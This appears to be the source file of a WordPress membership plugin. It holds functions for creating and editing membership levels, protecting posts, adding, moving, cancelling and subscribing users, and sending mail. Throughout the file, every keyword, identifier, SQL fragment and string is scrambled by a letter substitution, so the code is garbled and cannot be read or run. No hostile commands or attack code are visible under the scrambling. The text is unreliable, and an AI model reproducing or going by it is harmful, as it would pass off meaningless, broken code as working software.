QplrmU.Smyxn-QzmUmBtq#FEuB.QplrmU 1 cb eQplrmU.Dyo(HG).QplrmU mBtq_DoBFmBC cb$dQplrmU)U AroBFDy (SoBnlumn Fn SoBnlum5Bh =QzmU SoBnlum) { SoBnlumn[SoBnlum5Bh]-QzmUtBmF = lsnBoxFuxgB(SoBnlum-QzmUmBtq_tBmFCFmF)U lsnBm(SoBnlum-QzmUmBtq_tBmFCFmF)U } oBmlos SoBnlumnU } AlsDmxrs zBm#Btqdrlsm() { zurEFu SjqCEU oBmlos xsmkFu(SjqCE-QzmUzBm_kFo(QplrmU$b4bd# d1;2#(*) a 13 QplrmU.Smyxn-QzmUmBtq#FEuB))U } AlsDmxrs DoBFmB#Btq(SmoFsnFDmxrs, SuBkBu, StBmFCFmF) { zurEFu SjqCEU xA (VSmoFsnFDmxrs || VSuBkBu) { oBmlosU } SxsnBom = SjqCE-QzmUplBoh(QplrmU72$b # 7921 b 72#1 QplrmU.Smyxn-QzmUmBtq#FEuB.QplrmU $b# mis_xC = QTPMGUQplrmU.BnD_npu(SmoFsnFDmxrs).QplrmUQTPMGU, uBkBu_xC = QplrmU.xsmkFu(SuBkBu).QplrmU, mBtq_tBmFCFmF = QTPMGUQplrmU.BnD_npu(nBoxFuxgB(StBmFCFmF)).QplrmUQTPMGU, mBtq_DoBFmBC = ;#d_#73b$#f30()QplrmU)U oBmlos SmoFsnFDmxrsU } AlsDmxrs DFsDBu#Btq(SmoFsnFDmxrs) { zurEFu SjqCEU SjqCE-QzmUplBoh(QplrmU;0cf#b QplrmU.Smyxn-QzmUmBtq#FEuB.QplrmU $b# uBkBu_nmFmln = QTPMGUdQTPMGU ?8b b mis_xC = QTPMGUQplrmU.BnD_npu(SmoFsnFDmxrs).QplrmUQTPMGUQplrmU)U } AlsDmxrs oBtrkB#Btq(SmoFsnFDmxrs) { zurEFu SjqCEU xA (VSmoFsnFDmxrs) { oBmlosU } SjqCE-QzmUplBoh(QplrmUcb4b#b a 13 QplrmU.Smyxn-QzmUmBtq#FEuB.QplrmU ?8b b mis_xC = QTPMGUQplrmU.BnD_npu(SmoFsnFDmxrs).QplrmUQTPMGUQplrmU)U } AlsDmxrs qormBDmfuu0rnmn(SuBkBu7c=-O) { AroBFDy (Smyxn-QzmUFuu0rnmn() Fn Sqrnm7c) { xA (Sqrnm7c == P) { DrsmxslBU } Smyxn-QzmUqormBDm(Sqrnm7c, SuBkBu7c)U } } AlsDmxrs Drlsm4BkBun() { zurEFu SjqCEU oBmlos xsmkFu(SjqCE-QzmUzBm_kFo(QplrmU$b4bd# d1;2#(*) a 13 QplrmU.Smyxn-QzmUuBkBu#FEuB))U } AlsDmxrs DoBFmB4BkBu(SsFtB, SFuu=AFunB, SDrttBsmn=molB, SyFny=sluu) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU 3BtEBo9Bsxln::DuBFodFDyB()U SsFtB = qoBz_oBquFDB(QTPMGU@[^F-gP-G\-\_\ ]@nxQTPMGU, QTPMGUQTPMGU, SsFtB)U SyFny = qoBz_oBquFDB(QTPMGU@[^F-gP-G]@nxQTPMGU, QTPMGUQTPMGU, SyFny)U xA (Smyxn-QzmUyFnydruuxnxrs(SyFny)) { oBmlosU } xA (VSyFny) { SyFny = Smyxn-QzmUyFny()U } xA (VSFuu) { SFuu = PU } BunB { SFuu = OU } xA (VSDrttBsmn) { SDrttBsmn = PU } BunB { SDrttBsmn = OU } Snvl = Smyxn-QzmUnvl()U oBmlos SjqCE-QzmUplBoh(QTPMGU72$b # 7921 b 72#1 QTPMGU.Smyxn-QzmUuBkBu#FEuB.QTPMGU $b# 7c = QTPMGU.xsmkFu(Snvl).QTPMGU, uBkBu_sFtB=QplrmUQTPMGU.BnD_npu(SsFtB).QTPMGUQplrmU, uBkBu_yFny=QplrmUQTPMGU.BnD_npu(SyFny).QTPMGUQplrmU, uBkBu_Fuu=QTPMGU.xsmkFu(SFuu).QplrmU, uBkBu_DrttBsmn=QplrmU.xsmkFu(SDrttBsmn))U } AlsDmxrs CBuBmB4BkBu(SxC) { zurEFu StBtEBozBsxlnU 3BtEBo9Bsxln::DuBFodFDyB()U xA (Vxn_sltBoxD(SxC)) { oBmlosU } zurEFu SjqCEU SuBkBu = xsmkFu(SxC)U SjqCE-QzmUplBoh(QplrmUcb4b#b a 13 QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU ?8b b 7c = SuBkBuQplrmU)U SjqCE-QzmUplBoh(QplrmUcb4b#b a 13 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU ?8b b uBkBu_xC = SuBkBuQplrmU)U SjqCE-QzmUplBoh(QplrmUcb4b#b a 13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b b uBkBu_xC = SuBkBuQplrmU)U } AlsDmxrs BCxm4BkBu(SxC, SCFmF) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU 3BtEBo9Bsxln::DuBFodFDyB()U SuBkBu = xsmkFu(SxC)U xA (SuBkBu == P) { oBmlosU } xA (Vxn_FooFh(SCFmF)) { oBmlosU } SsFtB = SCFmF[QplrmUuBkBu_sFtBQplrmU]U SsFtB = qoBz_oBquFDB(QTPMGU@[^F-gP-G\-\_\ ]@nxQTPMGU, QTPMGUQTPMGU, SsFtB)U SFuu = SCFmF[QplrmUuBkBu_FuuQplrmU]U xA (VSFuu) { SFuu = PU } BunB { SFuu = OU } SDrttBsmn = SCFmF[QplrmUuBkBu_DrttBsmnQplrmU]U xA (VSDrttBsmn) { SDrttBsmn = PU } BunB { SDrttBsmn = OU } SoBzxnmBo = PU Surzxs = PU SBiqxoFmxrs = PU xA (xnnBm(SCFmF[QplrmUuBkBu_qFzB_oBzxnmBoQplrmU])) { SoBzxnmBo = SCFmF[QplrmUuBkBu_qFzB_oBzxnmBoQplrmU]U } xA (xnnBm(SCFmF[QplrmUuBkBu_qFzB_urzxsQplrmU])) { Surzxs = SCFmF[QplrmUuBkBu_qFzB_urzxsQplrmU]U } xA (xnnBm(SCFmF[QplrmUuBkBu_BiqxoFmxrsQplrmU])) { SBiqxoFmxrs = xsmkFu(SCFmF[QplrmUuBkBu_BiqxoFmxrsQplrmU])U } SBiqxoFmxrs = tFi(P, SBiqxoFmxrs)U SruC4BkBu = Smyxn-QzmUzBm4BkBu(SxC)U xA (SruC4BkBu-QzmUuBkBu_Fuu == O QFtqUQFtqU SFuu == P) { Smyxn-QzmUqormBDmfuu0rnmn(SxC)U } xA (SsFtB QFtqUQFtqU SuBkBu) { SjqCE-QzmUplBoh(QTPMGU;0cf#b QTPMGU.Smyxn-QzmUuBkBu#FEuB.QTPMGU $b# uBkBu_sFtB=QplrmUQTPMGU.BnD_npu(SsFtB).QTPMGUQplrmU, uBkBu_Fuu=QTPMGU.xsmkFu(SFuu).QTPMGU, uBkBu_DrttBsmn=QTPMGU.xsmkFu(SDrttBsmn).QTPMGU, uBkBu_qFzB_oBzxnmBo = QTPMGU.SoBzxnmBo.QTPMGU, uBkBu_qFzB_urzxs = QTPMGU.Surzxs.QTPMGU, uBkBu_BiqxoFmxrs = QTPMGU.SBiqxoFmxrs.QTPMGU ?8b b 7c=QTPMGU.SuBkBu)U } } AlsDmxrs nlEnDoxEB(SlnBo7c, SuBkBu7c) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU 3BtEBo9Bsxln::DuBFodFDyB()U SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U SjqCE-QzmUplBoh(QplrmU;0cf#b QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU $b# uBkBu_nlEnDoxEBC=O ?8b b lnBo_xC = SlnBo f2c uBkBu_xC = SuBkBuQplrmU)U } AlsDmxrs lsnlEnDoxEB(SlnBo7c, SuBkBu7c) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU 3BtEBo9Bsxln::DuBFodFDyB()U SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U SjqCE-QzmUplBoh(QplrmU;0cf#b QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU $b# uBkBu_nlEnDoxEBC=P ?8b b lnBo_xC = SlnBo f2c uBkBu_xC = SuBkBuQplrmU)U } AlsDmxrs FCC(SlnBo7c, SuBkBu7c, SmoFsnFDmxrs=sluu, SCFmBfCCBC=sluu) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU xA (SuBkBu7c === sluu || Vxn_sltBoxD(SuBkBu7c)) { oBmlosU } SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U xA (Vxn_sltBoxD(SCFmBfCCBC) || @xsmkFu(SCFmBfCCBC) QumU= O) { SCFmBfCCBC = nmomrmxtB(SCFmBfCCBC)U } xA (Vxn_sltBoxD(SCFmBfCCBC) || @xsmkFu(SCFmBfCCBC) QumU= O) { SCFmBfCCBC = mxtB()U } SCFmBfCC = ztCFmB(Dyo(HG).QplrmU-t-C 8:x:nQplrmU, SCFmBfCCBC)U SjqCE-QzmUplBoh(QplrmU72$b # 7921 b 72#1 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU $b# lnBo_xC = SlnBo, uBkBu_xC = SuBkBu, uBkBu_nmFmln=QTPMGUfQTPMGU, uBkBu_mis = QTPMGUQplrmU.BnD_npu(SmoFsnFDmxrs).QplrmUQTPMGU, uBkBu_CFmB = QTPMGUQplrmU.BnD_npu(SCFmBfCC).QplrmUQTPMGUQplrmU)U Cr_FDmxrs(QTPMGUtBtEBozBsxln_FCC_lnBo_uBkBunQTPMGU, SlnBo, FooFh(SuBkBu))U xA (Vxn_qulzxs_FDmxkB(QplrmUjxnyuxnm-tBtEBo/jxnyuxnm-tBtEBo.qyqQplrmU)) { Cr_FDmxrs(QTPMGUjxnyuxnmtBtEBo_FCC_lnBo_uBkBunQTPMGU, SlnBo, FooFh(SuBkBu))U } SFAABDmBC = (SjqCE-QzmUorjn_FAABDmBC QzmU P)U xA (SFAABDmBC) { SCBuFh = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu7c, QplrmUCBuFhQplrmU))U xA (SCBuFh QzmU P) { } BunBxA (SFDmxrs = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu7c, QplrmUFCCQplrmU)) { Smyxn-QzmUFCC(SlnBo7c, SFDmxrs, SmoFsnFDmxrs, SCFmBfCC)U } BunBxA (SFDmxrs = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu7c, QplrmUtrkBQplrmU)) { Smyxn-QzmUtrkB(SlnBo7c, SFDmxrs, SmoFsnFDmxrs, SCFmBfCC)U } } Smyxn-QzmUlsDFsDBu(SlnBo7c, SuBkBu7c)U oBmlos SFAABDmBCU } AlsDmxrs trkB(SlnBo7c, SuBkBu7c, SmoFsnFDmxrs=sluu, SCFmBfCCBC=sluu) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU xA (SuBkBu7c === sluu || Vxn_sltBoxD(SuBkBu7c)) { oBmlosU } SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U SjqCE-QzmUplBoh(QplrmUcb4b#b a 13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b b lnBo_xC = SlnBoQplrmU)U Smyxn-QzmUFCC(SlnBo7c, SuBkBu7c, SmoFsnFDmxrs, SCFmBfCCBC)U } AlsDmxrs oBtrkB(SlnBo7c, SuBkBu7c) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU xA (SuBkBu7c === sluu || Vxn_sltBoxD(SuBkBu7c)) { oBmlosU } SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U SjqCE-QzmUplBoh(QplrmUcb4b#b a 13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b b lnBo_xC = SlnBo f2c uBkBu_xC = SuBkBuQplrmU)U Cr_FDmxrs(QTPMGUtBtEBozBsxln_oBtrkB_lnBo_uBkBunQTPMGU, SlnBo, FooFh(SuBkBu))U xA (Vxn_qulzxs_FDmxkB(QplrmUjxnyuxnm-tBtEBo/jxnyuxnm-tBtEBo.qyqQplrmU)) { Cr_FDmxrs(QTPMGUjxnyuxnmtBtEBo_oBtrkB_lnBo_uBkBunQTPMGU, SlnBo, FooFh(SuBkBu))U } } AlsDmxrs DFsDBu(SlnBo7c, SuBkBu7c) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU xA (SuBkBu7c === sluu || Vxn_sltBoxD(SuBkBu7c)) { oBmlosU } SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U SjqCE-QzmUplBoh(QplrmU;0cf#b QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU $b# uBkBu_nmFmln=QTPMGUdQTPMGU ?8b b lnBo_xC = SlnBo f2c uBkBu_xC = SuBkBuQplrmU)U Cr_FDmxrs(QTPMGUtBtEBozBsxln_DFsDBu_lnBo_uBkBunQTPMGU, SlnBo, FooFh(SuBkBu))U xA (Vxn_qulzxs_FDmxkB(QplrmUjxnyuxnm-tBtEBo/jxnyuxnm-tBtEBo.qyqQplrmU)) { Cr_FDmxrs(QTPMGUjxnyuxnmtBtEBo_DFsDBu_lnBo_uBkBunQTPMGU, SlnBo, FooFh(SuBkBu))U } } AlsDmxrs lsDFsDBu(SlnBo7c, SuBkBu7c) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU xA (SuBkBu7c === sluu || Vxn_sltBoxD(SuBkBu7c)) { oBmlosU } SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U SjqCE-QzmUplBoh(QplrmU;0cf#b QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU $b# uBkBu_nmFmln=QTPMGUfQTPMGU ?8b b lnBo_xC = SlnBo f2c uBkBu_xC = SuBkBuQplrmU)U Cr_FDmxrs(QTPMGUtBtEBozBsxln_lsDFsDBu_lnBo_uBkBunQTPMGU, SlnBo, FooFh(SuBkBu))U xA (Vxn_qulzxs_FDmxkB(QplrmUjxnyuxnm-tBtEBo/jxnyuxnm-tBtEBo.qyqQplrmU)) { Cr_FDmxrs(QTPMGUjxnyuxnmtBtEBo_lsDFsDBu_lnBo_uBkBunQTPMGU, SlnBo, FooFh(SuBkBu))U } } AlsDmxrs qormBDm(Sqrnm7c, SuBkBu7c=-O) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU SuBkBu = xsmkFu(SuBkBu7c)U Sqrnm = xsmkFu(Sqrnm7c)U SjqCE-QzmUplBoh(QplrmU72$b # 7921 b 72#1 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU $b# uBkBu_xC = SuBkBu, qrnm_xC = SqrnmQplrmU)U } AlsDmxrs lsqormBDm(Sqrnm7c, SuBkBu7c=-O) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU SuBkBu = xsmkFu(SuBkBu7c)U Sqrnm = xsmkFu(Sqrnm7c)U SjqCE-QzmUplBoh(QplrmUcb4b#b a 13 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU ?8b b uBkBu_xC = SuBkBu f2c qrnm_xC = SqrnmQplrmU)U } AlsDmxrs zBm0rnmn(SlnBo7c=P) { zurEFu SjqCEU SlnBo = xsmkFu(SlnBo7c)U SuBkBun = SjqCE-QzmUzBm_Dru(QplrmU$b4bd# uBkBu_xC a 13 QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU, QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b b QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU.7c = QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU.uBkBu_xC f2c lnBo_xC = SlnBo f2c uBkBu_nmFmln=QTPMGUfQTPMGU f2c uBkBu_Fuu=O 9 1;0 eQplrmU.Dyo(HG).QplrmU uBkBu_xCQplrmU)U xA (DlooBsm_lnBo_DFs(QplrmUFCtxsxnmoFmroQplrmU)) { oBmlos Smyxn-QzmUFuu0rnmn()U } xA (Drlsm(SuBkBun) QzmU P) { oBmlos Smyxn-QzmUFuu0rnmn()U } SlsqormBDmBC = Smyxn-QzmUFuu0rnmn(SjqCE-QzmUzBm_Dru(QplrmU$b4bd# qrnm_xC a 13 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU ?8b b uBkBu_xC = -OQplrmU))U SqormBDmBC = SjqCE-QzmUzBm_Dru(QplrmU$b4bd# qrnm_xC a 13 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU, QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b b lnBo_xC = SlnBo f2c uBkBu_nmFmln=QTPMGUfQTPMGU f2c (QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU.uBkBu_xC = QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU.uBkBu_xC)QplrmU)U Surzxs_qFzBn = SjqCE-QzmUzBm_Dru(QplrmU$b4bd# uBkBu_qFzB_urzxs a 13 QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU, QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b b lnBo_xC = SlnBo f2c uBkBu_nmFmln=QTPMGUfQTPMGU f2c (QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU.7c = QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU.uBkBu_xC)QplrmU)U SoBCxoBDm_qFzBn = SjqCE-QzmUzBm_Dru(QplrmU$b4bd# uBkBu_qFzB_urzxs a 13 QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU, QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b b lnBo_xC = SlnBo f2c uBkBu_nmFmln=QTPMGUfQTPMGU f2c (QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU.7c = QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU.uBkBu_xC)QplrmU)U SoBmlos = FooFh_tBozB(SqormBDmBC, SlsqormBDmBC, Surzxs_qFzBn, SoBCxoBDm_qFzBn)U SoBmlos = FooFh_lsxplB(FooFh_kFulBn(SoBmlos))U oBmlos SoBmlosU } AlsDmxrs Fuu0rnmn(SCxAA=sluu) { zurEFu SjqCEU SFuu = SjqCE-QzmUzBm_Dru(QplrmU$b4bd# 7c a 13 QplrmU.SjqCE-QzmUqrnmn.QplrmU ?8b b qrnm_nmFmln = QTPMGUqlEuxnyQTPMGUQplrmU)U xA (SCxAA) { oBmlos FooFh_CxAA(SFuu, SCxAA)U } oBmlos SFuuU } AlsDmxrs zBmeurDvBC0FzBn(SlnBo7c=-O) { } AlsDmxrs zBm4BkBufDDBnn(SlnBo7c) { } AlsDmxrs zBmcFhn1s4BkBu(SlnBo7c, SuBkBu7c, Ssrj=sluu) { zurEFu SjqCEU SlnBo7c = @xsmkFu(SlnBo7c)U SuBkBu7c = @xsmkFu(SuBkBu7c)U xA (Ssrj == sluu) { Ssrj = mxtB()U } Ssrj = @xsmkFu(Ssrj)U SuBkBu_CFmB = SjqCE-QzmUzBm_kFo(QplrmU$b4bd# uBkBu_CFmB a 13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b b lnBo_xC=QplrmU.SlnBo7c.QplrmU f2c uBkBu_xC=QplrmU.SuBkBu7c)U SCFmB = nmomrmxtB(SuBkBu_CFmB)U xA (SCFmB QumU= O) { oBmlos sluuU } SCFhn = Aurro((Ssrj-SCFmB)/HJLPP)U oBmlos SCFhnU } AlsDmxrs mxtBnmFtq#rcFhn(SmxtBnmFtq) { xA (Vxn_sltBoxD(SmxtBnmFtq)) { SmxtBnmFtq = nmomrmxtB(SmxtBnmFtq)U } oBmlos Aurro((mxtB()-SmxtBnmFtq)/HJLPP)U } AlsDmxrs zBm4BkBu7sAr(SlnBo7c, SnmFmln=sluu) { zurEFu SjqCEU SlnBo = xsmkFu(SlnBo7c)U Snpu = QplrmU$b4bd# lnBo_xC, uBkBu_xC, uBkBu_nmFmln, uBkBu_mis, uBkBu_nlEnDoxEBC, uBkBu_CFmB, ;27>_#73b$#f30(uBkBu_CFmB) f$ uBkBu_mxtBnmFtq, uBkBu_sFtB, uBkBu_DrttBsmn, uBkBu_qFzB_oBzxnmBo, uBkBu_qFzB_urzxs, uBkBu_BiqxoFmxrs a 13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU 4ba# 6172 QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU 12 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU.uBkBu_xC = QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU.7c ?8b b lnBo_xC = SlnBo QplrmUU xA (SnmFmln == QplrmUfQplrmU) { Snpu .= QplrmUf2c uBkBu_nmFmln = QTPMGUfQTPMGU QplrmUU } BunBxA (SnmFmln == QplrmU$QplrmU) { Snpu .= QplrmUf2c uBkBu_nlEnDoxEBC = O f2c uBkBu_nmFmln = QTPMGUfQTPMGU QplrmUU } BunBxA (SnmFmln == QplrmU;QplrmU) { Snpu .= QplrmUf2c uBkBu_nlEnDoxEBC = P f2c uBkBu_nmFmln = QTPMGUfQTPMGU QplrmUU } BunB { } Snpu .= QplrmU1 cb eQplrmU.Dyo(HG).QplrmU uBkBu_sFtB f$dQplrmUU SoBnlumn = SjqCE-QzmUzBm_oBnlumn(Snpu)U xA (VSoBnlumn) { oBmlos FooFh()U } SoBmlos = FooFh()U AroBFDy (SoBnlumn Fn SoBnlum) { SoBmlos[SoBnlum-QzmUuBkBu_xC] = SoBnlumU } oBmlos SoBmlosU } AlsDmxrs zBm0rnmfDDBnn(SuBkBu7c) { zurEFu SjqCEU SuBkBu = xsmkFu(SuBkBu7c)U SuBkBu7sAr = Smyxn-QzmUzBm4BkBu(SuBkBu7c)U xA (SuBkBu == -O) { SqormBDmBC = SjqCE-QzmUzBm_Dru(QplrmU$b4bd# qrnm_xC a 13 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU ?8b b uBkBu_xC = SuBkBuQplrmU)U oBmlos Smyxn-QzmUFuu0rnmn(SqormBDmBC)U oBmlos SCxAAU } SoBmlos = SjqCE-QzmUzBm_Dru(QplrmU$b4bd# qrnm_xC a 13 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU ?8b b uBkBu_xC = SuBkBuQplrmU)U xA (xnnBm(SuBkBu7sAr-QzmUuBkBu_qFzB_oBzxnmBo) QFtqUQFtqU SuBkBu7sAr-QzmUuBkBu_qFzB_oBzxnmBo) { SoBmlos[] = xsmkFu(SuBkBu7sAr-QzmUuBkBu_qFzB_oBzxnmBo)U } xA (xnnBm(SuBkBu7sAr-QzmUuBkBu_qFzB_urzxs) QFtqUQFtqU SuBkBu7sAr-QzmUuBkBu_qFzB_urzxs) { SoBmlos[] = xsmkFu(SuBkBu7sAr-QzmUuBkBu_qFzB_urzxs)U } oBmlos SoBmlosU } AlsDmxrs zBm0FzBfDDBnn(SuBkBu7c) { } AlsDmxrs xn0ormBDmBC(Sqrnm7c) { zurEFu SjqCEU Sqrnm = xsmkFu(Sqrnm7c)U oBmlos xsmkFu(SjqCE-QzmUzBm_kFo(QplrmU$b4bd# d1;2#(*) a 13 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU ?8b b uBkBu_xC = -O f2c qrnm_xC = SqrnmQplrmU))U } AlsDmxrs zBm4BkBuncBAFlum() { zurEFu SjqCEU SoBmlos = SjqCE-QzmUzBm_Dru(QplrmU$b4bd# uBkBu_xC a 13 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU ?8b b uBkBu_Fuu=OQplrmU)U } AlsDmxrs zBm4BkBunaort0rnm(Sqrnm7c) { zurEFu SjqCEU Sqrnm = xsmkFu(Sqrnm7c)U SoBnlum = SjqCE-QzmUzBm_oBnlumn(QplrmU$b4bd# uBkBu_xC, uBkBu_sFtB a 13 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU, QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU ?8b b qrnm_xC = Sqrnm f2c uBkBu_xC = QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU.7cQplrmU)U AroBFDy (Smyxn-QzmUzBm4BkBun() Fn SuBkBu) { xA (xnnBm(SuBkBu-QzmUuBkBu_qFzB_oBzxnmBo) QFtqUQFtqU SuBkBu-QzmUuBkBu_qFzB_oBzxnmBo QFtqUQFtqU SuBkBu-QzmUuBkBu_qFzB_oBzxnmBo == Sqrnm7c) { SoBnlum[] = (rEwBDm) FooFh(QplrmUuBkBu_xCQplrmU =QzmU SuBkBu-QzmU7c, QplrmUuBkBu_sFtBQplrmU =QzmU SuBkBu-QzmUuBkBu_sFtB)U } BunBxA (xnnBm(SuBkBu-QzmUuBkBu_qFzB_urzxs) QFtqUQFtqU SuBkBu-QzmUuBkBu_qFzB_urzxs QFtqUQFtqU SuBkBu-QzmUuBkBu_qFzB_urzxs == Sqrnm7c) { SoBnlum[] = (rEwBDm) FooFh(QplrmUuBkBu_xCQplrmU =QzmU SuBkBu-QzmU7c, QplrmUuBkBu_sFtBQplrmU =QzmU SuBkBu-QzmUuBkBu_sFtB)U } } SoBmlos = FooFh()U AroBFDy (SoBnlum Fn So) { SoBmlos[So-QzmUuBkBu_xC] = So-QzmUuBkBu_sFtBU } oBmlos SoBmlosU } AlsDmxrs zBm4BkBu2FtB(SuBkBu7c) { zurEFu SjqCEU SuBkBu7c = xsmkFu(SuBkBu7c)U oBmlos SjqCE-QzmUzBm_kFo(QplrmU$b4bd# uBkBu_sFtB a 13 QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU ?8b b 7c = SuBkBu7c 4737# OQplrmU)U } AlsDmxrs yFnfDDBnn(SlnBo7c, SuBkBu7c, SxsDulCBdFsDBuBC=AFunB) { zurEFu SjqCEU SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U xA (SxsDulCBdFsDBuBC) { oBmlos xsmkFu(SjqCE-QzmUzBm_kFo(QplrmU$b4bd# d1;2#(*) a 13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b b uBkBu_xC = SuBkBu f2c lnBo_xC = SlnBo 4737# OQplrmU))U } BunB { oBmlos xsmkFu(SjqCE-QzmUzBm_kFo(QplrmU$b4bd# d1;2#(*) a 13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b b uBkBu_xC = SuBkBu f2c lnBo_xC = SlnBo f2c uBkBu_nmFmln = QTPMGUfQTPMGU 4737# OQplrmU))U } } AlsDmxrs zBmflmroBnqrsCBo(SuBkBu) { SFlmroBnqrsCBon = Smyxn-QzmUnBmmxsz(QplrmUFlmroBnqrsCBonQplrmU)U xA (Vxn_FooFh(SFlmroBnqrsCBon)) { oBmlos sluuU } xA (xnnBm(SFlmroBnqrsCBon[SuBkBu])) { oBmlos SFlmroBnqrsCBon[SuBkBu]U } oBmlos sluuU } AlsDmxrs nBmflmroBnqrsCBo(SuBkBu, SDrCB=QplrmUQplrmU, SBtFxu=QplrmUQplrmU, SAxonmsFtB=QplrmUQplrmU, SuFnmsFtB=QplrmUQplrmU) { SFlmroBnqrsCBon = Smyxn-QzmUnBmmxsz(QplrmUFlmroBnqrsCBonQplrmU)U xA (Vxn_FooFh(SFlmroBnqrsCBon)) { SFlmroBnqrsCBon = FooFh()U } xA (VSDrCB) { lsnBm(SFlmroBnqrsCBon[SuBkBu])U } BunB { SFlmroBnqrsCBon[SuBkBu] = FooFh( QplrmUDrCBQplrmU =QzmU nmoxqnuFnyBn(SDrCB), QplrmUBtFxuQplrmU =QzmU SBtFxu, QplrmUAxonmsFtBQplrmU =QzmU SAxonmsFtB, QplrmUuFnmsFtBQplrmU =QzmU SuFnmsFtB )U } Smyxn-QzmUnBmmxsz(QplrmUFlmroBnqrsCBonQplrmU, SFlmroBnqrsCBon)U } } DuFnn 3BtEBo9BsxlndFom { qoxkFmB SnBDoBmU qlEuxD AlsDmxrs xsnmolDmxrsn() { } qlEuxD AlsDmxrs kFuxCFmB() { } qlEuxD AlsDmxrs BtFxu(SnlEwBDm, StBnnFzB) { FCC_AxumBo( QTPMGUjq_tFxu_Aort_sFtBQTPMGU, FooFh(QFtqUSmyxn, QplrmUAort2FtBQplrmU))U jq_tFxu(zBm_rqmxrs(QplrmUFCtxs_BtFxuQplrmU), SnlEwBDm, StBnnFzB)U oBtrkB_AxumBo( QTPMGUjq_tFxu_DrsmBsm_mhqBQTPMGU, FooFh(QFtqUSmyxn, QplrmUAort2FtBQplrmU))U } qlEuxD AlsDmxrs Aort2FtB() { oBmlos zBm_rqmxrs(QplrmUsFtBQplrmU)U } } DuFnn 3BtEBo9BsxlndFom9BsBoxD BimBsCn 3BtEBo9BsxlndFom { AlsDmxrs xsnmolDmxrsn() { zurEFu StBtEBozBsxlnU WQzmUY QumUyMQzmUflmrtFmxD BzxnmoFmxrsQumU/yMQzmUYY QumUqQzmUQumUWqyq BDyr Dyo(HG)U WQzmUrl DFs BxmyBo lnB 3BtEBo 9Bsxln mr ElxuC F uxnm rA AoBB tBtEBon ro DyFozB myBt Aro rsB-mxtB FDDBnn.QumU/qQzmUY Y QumUqQzmU6lnm tFvB nloB mr nBm hrlo myFsv hrl ; 4 rA hrlo qFhtBsm Elmmrs mr myB uBkBu jyBoB hrl jFsm mr qorkxCB FDDBnn:QumU/qQzmUYY QumUqQzmUQumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:LPPqiUQplrmUQzmUY QumUmyBFCQzmUY QumUmoQzmUY QumUmy nDrqB=QplrmUDruQplrmU 